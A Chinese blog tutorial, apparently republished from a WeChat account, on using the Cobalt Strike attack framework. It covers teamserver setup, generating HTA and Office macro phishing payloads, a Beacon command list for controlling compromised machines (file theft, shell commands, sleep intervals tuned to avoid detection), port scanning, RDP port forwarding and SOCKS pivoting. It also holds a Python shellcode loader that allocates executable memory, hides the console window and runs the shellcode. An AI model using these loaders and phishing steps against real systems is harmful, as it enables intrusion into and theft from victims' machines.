​cobaltstrike使用笔记

前言

商业渗透软件,适合多人进行团队协作,可模拟APT做模拟对抗,进行内网渗透。

采取CS架构。

下面分模块对这个软件进行简单的介绍。

不是很全,只是把我认为的重要的列出来了。

关于工具使用,我想说的是,工具使用很简单,难的是在实战中的灵活使用,高手的渗透一般不局限于某种工具,重要的是思维。

认识view

View模块可以方便测试者查看各个模块,图形化的界面可以方便的看到受害者机器的各个信息。

Applications显示受害者机器的应用信息

Credentials显示受害者机器的凭证信息,能更方便的进行后续渗透

Downloads 文件下载

Event Log可以看到事件日志,清楚的看到系统的事件,并且团队可以在这里聊天

Keystrokes查看键盘记录

Proxy Pivots查看代理信息

Screenshots查看屏幕截图

Script Console在这里可以加载各种脚本以增强功能,脚本地址戳我

Targets查看目标

Web Log查看web日志。

主要模块使用命令

启动

服务器的启动方式

./teamserver <host> <password> [/path/to/c2.profile] [YYYY-MM-DD]

客户端启动方式

在linux下面直接

./Cobalt Strike

在linux下直接点击CobaltStrike.exe文件

然后填写客户端的参数

ip填写客户端的ip 端口不需要改变 用户名随便写 然后密码就写启动的时候使用的密码

System Profiler使用

这个模块的位置在

Attacks->web drive-by->System Profiler

主要是用来进行信息搜集的

主要利用方式就是在弹出的对话框中 填入url的相关信息,还有跳转的目标页面

然后靶机访问之后,靶机会跳转到哪个Redirect url 在这个过程中,会记录主机的相关信息

然后t通过如下方式

View->application

查看收集到的信息。

hta 钓鱼

生成恶意的HTA木马文件

可以生成钓鱼的链接,然后靶机访问之后,可以上线,

三种可执行格式,exe,powershell和vba,经测试vba成功上线

位置在这儿

Attacks->Packages->HTML Application

和上面差不多,生成一个链接

office宏钓鱼

生成office宏病毒文件

这是用来生成恶意的文档的

Attacks->packages->MS Office Macro

设置好参数之后,在word里

视图/宏/创建宏里

粘贴刚才的代码

生成shell.docx

双击可以上线

Payload Generator

生成各种语言版本的payload

Attacks->Packages->payload generator
from ctypes import *
import ctypes
# length: 614 bytes
buf = ""
#libc = CDLL('libc.so.6')
PROT_READ = 1
PROT_WRITE = 2
PROT_EXEC = 4
def executable_code(buffer):
    buf = c_char_p(buffer)
    size = len(buffer)
    addr = libc.valloc(size)
    addr = c_void_p(addr)
    if 0 == addr: 
        raise Exception("Failed to allocate memory")
    memmove(addr, buf, size)
    if 0 != libc.mprotect(addr, len(buffer), PROT_READ | PROT_WRITE | PROT_EXEC):
        raise Exception("Failed to set protection on buffer")
    return addr
VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc
VirtualProtect = ctypes.windll.kernel32.VirtualProtect
shellcode = bytearray(buf)
whnd = ctypes.windll.kernel32.GetConsoleWindow()   
if whnd != 0:
       if 1:
              ctypes.windll.user32.ShowWindow(whnd, 0)   
              ctypes.windll.kernel32.CloseHandle(whnd)
memorywithshell = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
old = ctypes.c_long(1)
VirtualProtect(memorywithshell, ctypes.c_int(len(shellcode)),0x40,ctypes.byref(old))
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(memorywithshell),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
shell = cast(memorywithshell, CFUNCTYPE(c_void_p))
shell()

用buff替换上面的变量,运行能上线,但是为了变成exe,可以用pyinstaller打包成exe

windows exectures

Attacks->Packages->windows exectures

这个跟kali有点类似,使用方法差不多

生成,设置参数,放在靶机执行,可以获得会话。

相关操作

主要是说在becon内部经常进行的操作。

通过powershell渗透

powershell-import /root/Desktop/Get-Information.ps1
powershell Get-Information

beacon的使用说明

help             查看beacon shell所有内置命令帮助,如果想查看指定命令的用法,可以这样,eg: help checkin
note             给当前目录机器起个名字, eg: note beacon-shell
cd            在目标系统中切换目录,注意在win系统中切换目录要用双反斜杠,或者直接用'/' eg: cd c:\\
mkdir             新建目录, eg: mkdir d:\\beacon
rm             删除文件或目录, eg: rm d:\\beacon
upload             上传文件到目标系统中
download        从目标系统下载指定文件,eg: download C:\\Users\\win7cn\\Desktop\\putty.exe
cancel            取消下载任务,比如,一个文件如果特别大,下载可能会非常耗时,假如中途你不想继续下了,就可以用这个取消一下
shell            在目标系统中执行指定的cmd命令, eg: shell whoami
getuid             查看当前beacon 会话在目标系统中的用户权限,可能需要bypassuac或者提权
pwd            查看当前在目录系统中的路径
ls            列出当前目录下的所有文件和目录
drives            列表出目标系统的所有分区[win中叫盘符]
ps            查看目标系统当前的所有的进程列表
kill            杀掉指定进程, eg: kill 4653
sleep 10        指定被控端休眠时间,默认60秒一次回传,让被控端每10秒来下载一次任务,实际中频率不宜过快,容易被发现,80左右一次即可
jobs            列出所有的任务列表,有些任务执行时间可能稍微较长,此时就可以从任务列表中看到其所对应的具体任务id,针对性的清除
jobkill            如果发现任务不知是何原因长时间没有执行或者异常,可尝试用此命令直接结束该任务, eg: jobkill 1345
clear            清除beacon内部的任务队列
checkin            强制让被控端回连一次
exit             终止当前beacon 会话
ctrl + k         清屏

内网穿透

扫描

portscan 192.168.1.0/24 1-6000 arp 10

端口转发

rportfwd 389 192.168.1.181 3389
rportfwd stop 389

socks

socks 1234

参考链接

https://www.cnblogs.com/afanti/p/10513136.html

https://klionsec.github.io/2017/09/23/cobalt-strike/

本文分享自微信公众号 - 无级安全(wujisec)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-07-20

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • Excel应用实践03:使用Excel进行个人计划执行记录与统计分析

    一转眼,2019年已至4月,自从年初立下flag后,便努力朝着实现它的方向奔跑。有些执行得很好,比如每天更新完美Excel微信公众号,坚持每天学习,而有些则还没...

    fanjy
  • Excel应用实践04:分页单独打印Excel表中的数据

    在实际工作中,我们经常会遇到想将工作表中的数据(如下图1所示的“数据”工作表)导入到固定的表格(如下图2所示)中并打印。

    fanjy
  • Excel应用实践06:进行多条件统计

    这是在知乎上看到的一个问题,我试着用VBA来解决。欢迎大家就自已使用Excel中遇到的问题或想要的解决方案提问,我将尽力解答。

    fanjy
  • Matlab加上VBA编程,表格就能画画了

    之前学习Matlab是为了参加一个数学建模的比赛,但是在慢慢的学习当中发现了matlab这款软件是真的有趣,真的非常有用,大家没事也可以去学习一下使用matla...

    FB客服
  • Excel VBA解读(138): 自定义函数时使用字节数组实现更快的字符串处理

    如果有很多行,要查找每行字符串第一个大写字母的位置,则使用数组公式会花费不少时间。

    fanjy
  • VBA实用小程序50: 在指定的单元格中插入指定的形状

    下面的自定义函数使用Shapes集合对象的AddShape方法及其参数,可以在指定的单元格中插入指定的形状。

    fanjy
  • Excel VBA解读(134): 使用Excel函数提高自定义函数的效率

    在上篇文章中,我们展示了自定义函数有效的方式是通过将单元格区域读取到Variant型数组来传递单元格区域数据。本文将介绍在自定义函数中最有效的方式是使用Exce...

    fanjy
  • Excel VBA解读(143): 在自定义函数中使用整列引用时,如何更有效率?

    Excel用户经常发现在公式中使用整列的引用很方便,这样可避免每次添加新数据时都必须调整公式。因此,当编写用户自定义函数时,可能会使用:

    fanjy
  • Excel VBA解读(137): 让使用用户定义函数的数组公式更快

    Excel数组公式能够做很多令人惊讶的事情。除了在输入完后要按Ctrl+Shift+Enter组合键外,与普通公式一样。本文主要研究使用用户定义函数的数组公式。

    fanjy
  • Excel VBA解读(135): 影响工作表公式中运用自定义函数效率的Bug及解决方法

    在前面的两篇文章中,我们通过简单地修改VBA代码来使自定义函数运行得更快。本文将聚焦于Excel中会影响到自定义函数的Bug,并探讨如何避免它们。

    fanjy

扫码关注云+社区

领取腾讯云代金券